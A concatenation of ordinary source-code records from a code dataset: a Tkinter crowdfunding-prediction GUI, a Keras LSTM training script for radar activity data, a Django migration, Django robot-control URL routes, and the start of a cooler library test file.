0:\n resultlabel.configure(text=f\"Propably you WILL LOOSE $$$. \\n\"\n f\"You may have a chance to collect around : {preds.mean().round()}$.\")\n\n else:\n resultlabel.configure(text=f\"Propably you WILL LOOSE money. \\n\"\n f\"For your campaign, we CANNOT suggest a reasonable GOAL.\")\n\n\n######### lista podkategorii do wyboru dla poszczególnych wybrbanych main_category\nsub_categories = {'Art':\n ['Sculpture',\n 'Conceptual Art',\n 'Illustration',\n 'Public Art',\n 'Mixed Media',\n 'Video Art',\n 'Art',\n 'Installations',\n 'Ceramics',\n 'Textiles',\n 'Painting',\n 'Digital Art',\n 'Performance Art'],\n 'Comics':\n ['Comic Books',\n 'Events',\n 'Anthologies',\n 'Graphic Novels',\n 'Comics',\n 'Webcomics'],\n 'Crafts':\n ['Weaving',\n 'Letterpress',\n 'Crochet',\n 'Candles',\n 'Taxidermy',\n 'Crafts',\n 'Knitting',\n 'Embroidery',\n 'Pottery',\n 'Glass',\n 'Quilts',\n 'Printing',\n 'DIY',\n 'Stationery',\n 'Woodworking'],\n 'Dance':\n ['Dance',\n 'Spaces',\n 'Residencies',\n 'Workshops',\n 'Performances'],\n 'Design':\n ['Graphic Design',\n 'Product Design',\n 'Civic Design',\n 'Interactive Design',\n 'Architecture',\n 'Typography',\n 'Design'],\n 'Fashion':\n ['Couture',\n 'Childrenswear',\n 'Footwear',\n 'Fashion',\n 'Accessories',\n 'Jewelry',\n 'Apparel',\n 'Ready-to-wear',\n 'Pet Fashion'],\n 'Film & Video':\n ['Television',\n 'Horror',\n 'Film & Video',\n 'Science Fiction',\n 'Music Videos',\n 'Documentary',\n 'Family',\n 'Animation',\n 'Fantasy',\n 'Experimental',\n 'Movie Theaters',\n 'Comedy',\n 'Webseries',\n 'Festivals',\n 'Romance',\n 'Drama',\n 'Shorts',\n 'Narrative Film',\n 'Thrillers',\n 'Action'],\n 'Food':\n ['Spaces',\n 'Vegan',\n 'Drinks',\n 'Restaurants',\n 'Food',\n 'Events',\n 'Farms',\n 'Cookbooks',\n \"Farmer's Markets\",\n 'Food Trucks',\n 'Community Gardens',\n 'Small Batch',\n 'Bacon'],\n 'Games':\n ['Playing Cards',\n 'Puzzles',\n 'Games',\n 'Mobile Games',\n 'Gaming Hardware',\n 'Video Games',\n 'Tabletop Games',\n 'Live Games'],\n 'Journalism':\n ['Print',\n 'Video',\n 'Journalism',\n 'Web',\n 'Photo',\n 'Audio'],\n 'Music':\n ['Classical Music',\n 'Faith',\n 'Chiptune',\n 'Blues',\n 'Indie Rock',\n 'Pop',\n 'Kids',\n 'Hip-Hop',\n 'World Music',\n 'Jazz',\n 'Latin',\n 'Metal',\n 'Comedy',\n 'Country & Folk',\n 'R&B',\n 'Rock',\n 'Music',\n 'Punk',\n 'Electronic Music'],\n 'Photography':\n ['Photobooks',\n 'Animals',\n 'Places',\n 'Nature',\n 'People',\n 'Fine Art',\n 'Photography'],\n 'Publishing':\n ['Radio & Podcasts',\n 'Art Books',\n 'Literary Journals',\n 'Poetry',\n 'Calendars',\n 'Comedy',\n 'Letterpress',\n 'Literary Spaces',\n \"Children's Books\",\n 'Zines',\n 'Academic',\n 'Publishing',\n 'Anthologies',\n 'Periodicals',\n 'Nonfiction',\n 'Fiction',\n 'Translations',\n 'Young Adult'],\n 'Technology':\n ['Technology',\n 'Wearables',\n 'Apps',\n 'Space Exploration',\n 'Sound',\n 'Gadgets',\n 'Software',\n '3D Printing',\n 'Robots',\n 'DIY Electronics',\n 'Hardware',\n 'Web',\n 'Makerspaces',\n 'Camera Equipment',\n 'Flight',\n 'Fabrication Tools'\n ],\n 'Theater':\n ['Spaces',\n 'Comedy',\n 'Festivals',\n 'Experimental',\n 'Musical',\n 'Theater',\n 'Plays',\n 'Immersive'],\n '':\n ['choose main category first']\n }\n\n\n#funkcja, która daje listę podkategorii do wyboru na podstawie wybranej kategorii\ndef narrow_subcat(event):\n tmpCAT = catMenu.get()\n subcatMenu.configure(values = sub_categories[tmpCAT])\n\n\n\n\n\n\n################### definicja interfesju ############\n'''\nTkinter opiera się o \"ramki\" - frames, w których upakowuje się poszczególne fragmentu interfejsu:\n- przyciski\n- pola tekstowe\n- menu wybieralne\n- slidery\n- okienka inputu\ni pewnie jeszce wiele innych\n\nramek może być wiele poziomów, sam stosuje poniżej \"ramki w większych ramkach\"\n\n'''\n\n\n\n# ***** GUI start *****\n\n\n#root - główna, najbardziej zewnętrzna ramka, definiowana jako klasa ThemedTk (themed, zeby skorzystać z predefiniowanego styu)\n# \"okno programu, nazwa root wzięta z kursu\"\n\nroot = tk.ThemedTk()\nroot.geometry('1000x600')\nroot.set_theme(\"clearlooks\")\n\n\n\n\n# ***** The Toolbar - górny pasek z przyciakami *****\n\n#pierwsza zewnętrzna ramka, umieszczamy ją w oknie 'root', \"pakujemy\" na górze\ntoolbar = ttk.Frame(root)\ntoolbar.pack(side = TOP)\n\n#### poniżej definicja przycików używanych, które \"pakujemy\" w w ramce \"toolbar\"\n#### w dalszej części na podobnej zasadzie są zdefiniowane i \"upakowane\" pozostałe elementy interfejsu\n\n# *** toolbar buttons *****\ninsertButt = ttk.Button(toolbar, text=\"UPDATE PARAMETERS\", command=checkParamas)\ninsertButt.pack(side=LEFT, padx=10, pady=10)\n\ntestButt = ttk.Button(toolbar, text=\"EVALUATE CAMAPIGN\", command=predict_pledged)\ntestButt.pack(side=LEFT, padx=10, pady=10)\n\nquitButt = ttk.Button(toolbar, text=\"Quit\", command=root.quit)\nquitButt.pack(side=RIGHT, padx=10, pady=10)\n\n\n\n\n\n\n\n\n# ***** Menus Frame *****\n\n\nmenuFrame = Frame(root)\nmenuFrame.configure(padx = 30,pady = 10)\n\n\nmenuFrame.pack(side = TOP)\n\nMenusLabel1 = ttk.Label(menuFrame, text = 'Please specify campaign parameters',font = ('Helvetica', 20, 'bold'), anchor = CENTER )\nMenusLabel1.pack(side = TOP, pady = 20)\n\n\n#** Main Category selector *****\n\ncatMenuFrame = Frame(menuFrame, padx = 2, pady = 2)\n\nmcats = ['Art',\n 'Fashion',\n 'Music',\n 'Crafts',\n 'Photography',\n 'Design',\n 'Film & Video',\n 'Food',\n 'Journalism',\n 'Publishing',\n 'Dance',\n 'Comics',\n 'Technology',\n 'Theater',\n 'Games']\n\ncatMenuLabel = ttk.Label(catMenuFrame, text = 'Choose Main Category ', anchor = N )\ncatMenuLabel.pack(side = LEFT)\n\ncatMenu = ttk.Combobox(catMenuFrame, values = mcats)\n#poniżej odpalenie funkcji, która zawęża podkategorie na podstawie wybranej głównej kategorii\ncatMenu.bind('<>', narrow_subcat )\ncatMenu.pack(side = LEFT)\n\ncatMenuFrame.pack(side = TOP)\n\n# ** Sub Category selector *****\n\nsubcatMenuFrame = Frame(menuFrame, padx = 2, pady = 2)\n\n\nsubcatMenuLabel = ttk.Label(subcatMenuFrame, text = 'Choose Sub-Category ' )\nsubcatMenuLabel.pack(side = LEFT)\n\nsubcatMenu = ttk.Combobox(subcatMenuFrame, values = sub_categories[chosen_main_cat])\nsubcatMenu.pack(side = LEFT)\n\nsubcatMenuFrame.pack(side = TOP)\n\n\n# ** Country selector *****\ncountryMenuFrame = Frame(menuFrame, padx = 2, pady = 2)\n\n\ncountry_list = [ 'Australia',\n 'Austria',\n 'France',\n 'Switzerland',\n 'Belgium',\n 'Denmark',\n 'Canada',\n 'Singapore',\n 'New Zealand',\n 'Hong Kong',\n 'Sweden',\n 'Germany',\n 'Ireland',\n 'Luxembourg',\n 'Japan',\n 'Netherlands',\n 'Italy',\n 'Great Britain (UK)',\n 'Spain',\n 'United States',\n 'Mexico',\n 'Norway']\n\ncountryMenuLabel = ttk.Label(countryMenuFrame, text = 'Choose Country ' )\ncountryMenuLabel.pack(side = LEFT)\n\ncountryMenu = ttk.Combobox(countryMenuFrame, values = country_list)\ncountryMenu.pack(side = LEFT)\n\ncountryMenuFrame.pack(side = TOP)\n\n\n\n# ** Goal selector *****\ngoalMenuFrame = Frame(menuFrame, padx = 2, pady = 2)\n\n\ngoalMenuLabel = ttk.Label(goalMenuFrame, text = 'Set Goal in USD ' )\ngoalMenuLabel.pack(side = LEFT)\n\nmin_goal = 1\nmax_goal = 1000000\n\n\ngoalSpinbox = ttk.Spinbox(goalMenuFrame, from_ = min_goal, to = max_goal, increment=50, command = checkParamas)\ngoalButton = Button(goalMenuFrame, text=\"OK\", command=checkParamas)\n\n\n\ngoalSpinbox.pack(side = LEFT)\n\ngoalButton.pack(side = LEFT, padx = 5)\n\n\ngoalMenuFrame.pack(side = TOP)\n\n\n# slider poniżej\n\n\n#przyznam, że w sumie średnio mi się ten slider podoba, do przegadania czy go nie wywalić\n\nsliderFrame = Frame(menuFrame, padx = 2, pady = 2)\n\ngoalSlider = Scale(sliderFrame, orient = HORIZONTAL, showvalue = 0, from_ = min_goal, to = max_goal, length = 300, variable = IntVar )\ngoalSlider.configure(command = goalSpinbox.set)\ngoalSlider.pack(side = TOP, padx = 0, fill = X )\n\n\n\n########### SLIDER GOAL WYŁĄCZONY PONIŻEJ\n\n\n#sliderFrame.pack(side = TOP)\n\n\n# ** Duration selector *****\ndurationMenuFrame = Frame(menuFrame, padx = 2, pady = 2)\n\n\ndurationMenuLabel = ttk.Label(durationMenuFrame, text = 'Choose campaign duration ' )\ndurationMenuLabel.pack(side = LEFT)\n\nmin_dur = 1\nmax_dur = 90\n\n\ndurationSpinbox = ttk.Spinbox(durationMenuFrame, from_ = min_dur, to = max_dur, increment = 1, command=checkParamas)\ndurationButton = Button(durationMenuFrame, text=\"OK\", command=checkParamas)\n\n\n#durationSpinbox.pack(side = LEFT)\n\n#durationButton.pack(side = LEFT, padx = 5)\n\ndef dur_slider_contr(event):\n durationSpinbox.set(event)\n checkParamas()\n\ndurSlider = Scale(durationMenuFrame, orient = HORIZONTAL, showvalue = 1, from_ = min_dur, to = max_dur, length = 300, variable = IntVar )\ndurSlider.set(30)\n\ndurSlider.configure(command = dur_slider_contr)\ndurSlider.pack(side = LEFT, padx = 5, fill = X )\n\n\ndurationMenuFrame.pack(side = TOP)\n\n\n# ### SLIDER DLA DURATION\n#\n# slider2Frame = Frame(menuFrame, padx = 2, pady = 2)\n#\n#\n#\n#\n#\n#\n#\n# slider2Frame.pack(side = TOP)\n\n\n\n# ***** Main Window showing result *****\n\n\nmainFrame1 = Frame(root)\nmainFrame1.pack(side = TOP, pady = 40)\n\n\n\nparamInfolabel = ttk.Label(mainFrame1, text = 'choose campaign parameters',font = ('Times', 11, 'bold'))\n\nparamInfolabel.pack(side = TOP, anchor = CENTER, fill = BOTH)\n\n\nresultlabel = ttk.Label(mainFrame1, text = '', font = ('Times', 15, 'bold'))\n\nresultlabel.pack(side = TOP, anchor = CENTER, fill = BOTH, pady = 20)\n\n\n\n# ***** Status Bar *****\n\nstatus = ttk.Label(root, text=f\"PandP, ML_project, {version}\", relief=GROOVE, anchor=W)\n\nstatus.pack(side=BOTTOM, fill=X)\n\n\ndurationSpinbox.set(30)\n\ncheckParamas()\n\n\n\n\n# \"włączenie\" programu, interfejs musi się zawierać pomiędzy \"otwarciem\" roota i jego \"mainloop'em\", trochę jak w html'u\nroot.mainloop()\n\n\n", "repo_name": "infoshareacademy/jdsz4-PandP", "sub_path": "projekt_ml/gui.py", "file_name": "gui.py", "file_ext": "py", "file_size_in_byte": 19544, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pickle.load", "line_number": 19, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 22, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 120, "usage_type": "call"}, {"api_name": "ttkthemes.themed_tk.ThemedTk", "line_number": 364, "usage_type": "call"}, {"api_name": "ttkthemes.themed_tk", "line_number": 364, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 374, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 374, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 381, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 381, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 384, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 384, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 387, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 387, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 406, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 406, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 430, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 430, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 433, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 433, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 445, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 445, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 448, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 448, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 481, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 481, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 484, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 484, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 495, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 495, "usage_type": "name"}, {"api_name": "tkinter.ttk.Spinbox", "line_number": 502, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 502, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 538, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 538, "usage_type": "name"}, {"api_name": "tkinter.ttk.Spinbox", "line_number": 545, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 545, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 589, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 589, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 594, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 594, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 602, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 602, "usage_type": "name"}]} {"seq_id": "42434536623", "text": "\"\"\"\nBidirectional LSTMS on VOXELS\n\nUsage:\n\n- extract_path is the where the extracted data samples are available.\n- checkpoint_model_path is the path where to checkpoint the trained models during the training process\n\n\nEXAMPLE: SPECIFICATION\n\nextract_path = '/Users/sandeep/Research/Ti-mmWave/data/extract/Train_Data_voxels_'\ncheckpoint_model_path=\"/Users/sandeep/Research/Ti-mmWave/data/extract/LSTM\"\n\"\"\"\n\nextract_path = '/home/wt/RadHAR/Data/extract/Train_Data_voxels_'\ncheckpoint_model_path=\"/home/wt/RadHAR/Data/model\"\n\n\nimport glob\nimport os\nimport numpy as np\n# random seed.\nrand_seed = 1\nfrom numpy.random import seed\nseed(rand_seed)\n#from tensorflow import set_random_seed\n#set_random_seed(rand_seed)\nimport tensorflow\ntensorflow.random.set_seed(rand_seed)\n\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, LSTM, Dense, Dropout, Flatten, Activation\nfrom keras.layers.core import Permute, Reshape\nfrom keras import backend as K\n\nfrom keras import optimizers\nfrom keras.optimizers import SGD\nfrom keras.optimizers import Adam\nfrom keras.metrics import categorical_crossentropy\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.convolutional import *\nfrom keras.callbacks import Callback\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers import Conv2D, MaxPooling2D, LSTM, Dense, Dropout, Flatten, Bidirectional,TimeDistributed\nfrom sklearn.model_selection import train_test_split\nfrom keras.models import load_model\n\n\nsub_dirs=['stand','swing']\n\ndef one_hot_encoding(y_data, sub_dirs, categories=5):\n Mapping=dict()\n\n count=0\n for i in sub_dirs:\n Mapping[i]=count\n count=count+1\n\n y_features2=[]\n for i in range(len(y_data)):\n Type=y_data[i]\n Type = Type.decode('utf-8')\n lab=Mapping[Type]\n #lab = Mappin.get(Type)\n \n y_features2.append(lab)\n \n y_features=np.array(y_features2)\n #print(y_features.shape)\n y_features=y_features.reshape(y_features.shape[0],1)\n \n from keras.utils import to_categorical\n y_features = to_categorical(y_features)\n #print(y_features.shape)\n return y_features\n\n\ndef full_3D_model(summary=False):\n print('building the model ... ')\n model = Sequential()\n\n model.add(Bidirectional(LSTM(64, return_sequences=False, stateful=False,input_shape=(60, 10*1024) )))\n model.add(Dropout(.5,name='dropout_1'))\n model.add(Dense(128, activation='relu', name='DENSE_1'))\n model.add(Dropout(.5,name='dropout_2'))\n model.add(Dense(2, activation='softmax', name = 'output'))\n\n return model\n\n\n\nframe_tog = [60]\n\n\n#loading the train data\nData_path = extract_path+'stand'\n\ndata = np.load(Data_path+'.npz')\ntrain_data = data['arr_0']\ntrain_data = np.array(train_data,dtype=np.dtype(np.int32))\ntrain_label = data['arr_1']\n#print(train_label.shape)\ndel data\nprint(train_data.shape,train_label.shape)\n\nData_path = extract_path+'swing'\ndata = np.load(Data_path+'.npz')\ntrain_data = np.concatenate((train_data, data['arr_0']), axis=0)\ntrain_label = np.concatenate((train_label, data['arr_1']), axis=0)\n\n\ndel data\n\nprint(train_data.shape,train_label.shape)\n\n\n\n\ntrain_label = one_hot_encoding(train_label, sub_dirs, categories=2)\n\ntrain_data = train_data.reshape(train_data.shape[0],train_data.shape[1], train_data.shape[2]*train_data.shape[3]*train_data.shape[4])\n\nprint('Training Data Shape is:')\nprint(train_data.shape,train_label.shape)\n\n\n\nX_train, X_val, y_train, y_val = train_test_split(train_data, train_label, test_size=0.20, random_state=1)\ndel train_data,train_label\n\n##shuffle before use validation split\nfrom sklearn.utils import shuffle\n#np.random.shuffle(X_train)\n#y_train[X_train[:,0]]\nX_train, y_train = shuffle(X_train, y_train)\n\nmodel = full_3D_model()\n\n\nprint(\"Model building is completed\")\n\n\nadam = optimizers.Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=None,\n decay=0.0, amsgrad=False)\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n optimizer=adam,\n metrics=['accuracy'])\n\ncheckpoint = ModelCheckpoint(checkpoint_model_path, monitor='val_loss', verbose=1, save_best_only=True, mode='min')\n\ncallbacks_list = [checkpoint]\n\nimport time\n\ntimestamp = time.time()\n\n# Training the model\nlearning_hist = model.fit(X_train, y_train,\n batch_size=20,\n epochs=30,\n verbose=1,\n shuffle=True,\n validation_split = 0.2,\n #validation_data=(X_val,y_val),\n \n callbacks=callbacks_list\n )\n\nfinish_timestamp = time.time()\n\n#calculate time\n\ntimestruct = time.localtime(finish_timestamp - timestamp)\nprint(time.strftime('%Y-%m-%d %H:%M:%S', timestruct))\n\n##show the history\nimport matplotlib.pyplot as plt\n\n# 绘制训练 & 验证的准确率值\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('Model accuracy')\nplt.ylabel('Accuracy')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.show()\n\n# 绘制训练 & 验证的损失值\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('Model loss')\nplt.ylabel('Loss')\nplt.xlabel('Epoch')\nplt.legend(['Train', 'Test'], loc='upper left')\nplt.show()\n\n# Evaluate the model on the test data using `evaluate`\nprint(\"Evaluate on test data\")\nresults = model.evaluate(X_val, y_val, batch_size=20)\nprint(\"test loss, test acc:\", results)\n\n## Saving the model\n\nmodel.save( checkpoint_model_path + '/LSTM.h5') # HDF5 file, you have to pip3 install h5py if don't have it\n\ndel model", "repo_name": "YiShan8787/mm-behavior", "sub_path": "Classifiers/LSTM2.py", "file_name": "LSTM2.py", "file_ext": "py", "file_size_in_byte": 5726, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.random.seed", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.random.set_seed", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.utils.to_categorical", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.models.Sequential", "line_number": 82, "usage_type": "call"}, {"api_name": "keras.layers.Bidirectional", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers.LSTM", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 86, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 87, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.dtype", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 102, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 111, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 130, "usage_type": "call"}, {"api_name": "sklearn.utils.shuffle", "line_number": 137, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 145, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 145, "usage_type": "name"}, {"api_name": "keras.losses", "line_number": 148, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 152, "usage_type": "call"}, {"api_name": "time.time", "line_number": 158, "usage_type": "call"}, {"api_name": "time.time", "line_number": 172, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 176, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 189, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 189, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 192, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 192, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 193, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 194, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 194, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 195, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 195, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 197, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 198, "usage_type": "name"}]} {"seq_id": "9488062171", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('admin', '0001_initial'),\n ('user_expenses', '0002_auto_20160907_0806'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='usermodel',\n name='user_ptr',\n ),\n migrations.AlterField(\n model_name='expenses',\n name='owner',\n field=models.ForeignKey(to=settings.AUTH_USER_MODEL),\n ),\n migrations.DeleteModel(\n name='UserModel',\n ),\n ]\n", "repo_name": "sashpro/expenses", "sub_path": "user_expenses/migrations/0003_auto_20160907_0858.py", "file_name": "0003_auto_20160907_0858.py", "file_ext": "py", "file_size_in_byte": 673, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.RemoveField", "line_number": 16, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 16, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.migrations.DeleteModel", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 25, "usage_type": "name"}]} {"seq_id": "41704745096", "text": "from django.urls import path\n\nfrom . import views\n\napp_name = 'livestream'\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('forward', views.forward, name='forward'),\n path('reverse', views.reverse, name='reverse'),\n path('right', views.right, name='right'),\n path('left', views.left, name='left'),\n path('forward1', views.forward1, name='forward1'),\n path('reverse1', views.reverse1, name='reverse1'),\n path('right1', views.right1, name='right1'),\n path('left1', views.left1, name='left1'),\n path('stop', views.stop, name='stop'),\n path('checkfor', views.checkfor, name='checkfor'),\n path('checkback', views.checkback, name='checkback'),\n]", "repo_name": "SowmyaVasuki/ScoutBot", "sub_path": "livestream/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 15, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 16, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 19, "usage_type": "call"}]} {"seq_id": "25641727368", "text": "import os.path as op\nfrom io import StringIO\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nimport cooler\nfrom cooler.create import (\n BadInputError,\n aggregate_records,\n sanitize_pixels,\n sanitize_records,\n validate_pixels,\n)\n\ntestdir = op.dirname(op.realpath(__file__))\ndatadir = op.join(testdir, \"data\")\n\n\ncolumns = [\n \"chrom1\",\n \"pos1\",\n \"strand1\",\n \"chrom2\",\n \"pos2\",\n \"strand2\",\n \"name\",\n \"pair_type\",\n \"triu\",\n]\n\nvalid_data = \"\"\"chr1\\t1\\t+\\tchr2\\t100\\t-\\t.\\tLL\\t1\nchr2\\t99\\t+\\tchr1\\t13\\t-\\t.\\tLL\\t0\nchr2\\t13\\t+\\tchr2\\t60\\t-\\t.\\tLL\\t1\nchr1\\t200\\t+\\tchr2\\t50\\t-\\t.\\tLL\\t1\nchr3\\t11\\t+\\tchr3\\t40\\t-\\t.\\tLL\\t1\nchr1\\t234\\t+\\tchr3\\t30\\t-\\t.\\tLL\\t1\nchr3\\t3\\t+\\tchr2\\t20\\t-\\t.\\tLL\\t0\nchr2\\t23\\t+\\tchr3\\t11\\t-\\t.\\tLL\\t1\nchr1\\t123\\t+\\tchr1\\t200\\t-\\t.\\tLL\\t1\n\"\"\"\n\nnuisance_chroms = \"\"\"chr1\\t222\\t+\\tchr9\\t200\\t-\\t.\\tLL\\t1\nchr9\\t222\\t+\\tchr9\\t200\\t-\\t.\\tLL\\t1\"\"\"\noob_lower = \"\"\"chr1\\t-1\\t+\\tchr1\\t10\\t+\\t.\\tLL\\t1\"\"\"\noob_upper = \"\"\"chr1\\t123\\t+\\tchr1\\t301\\t+\\t.\\tLL\\t1\"\"\"\n\nbinsize = 10\nchromsizes = pd.Series(index=[\"chr1\", \"chr2\", \"chr3\"], data=[300, 300, 300])\nbins = cooler.util.binnify(chromsizes, binsize)\n\n\ndef _insert_lines(d, new):\n lines = d.split(\"\\n\")\n for line in new.split(\"\\n\"):\n 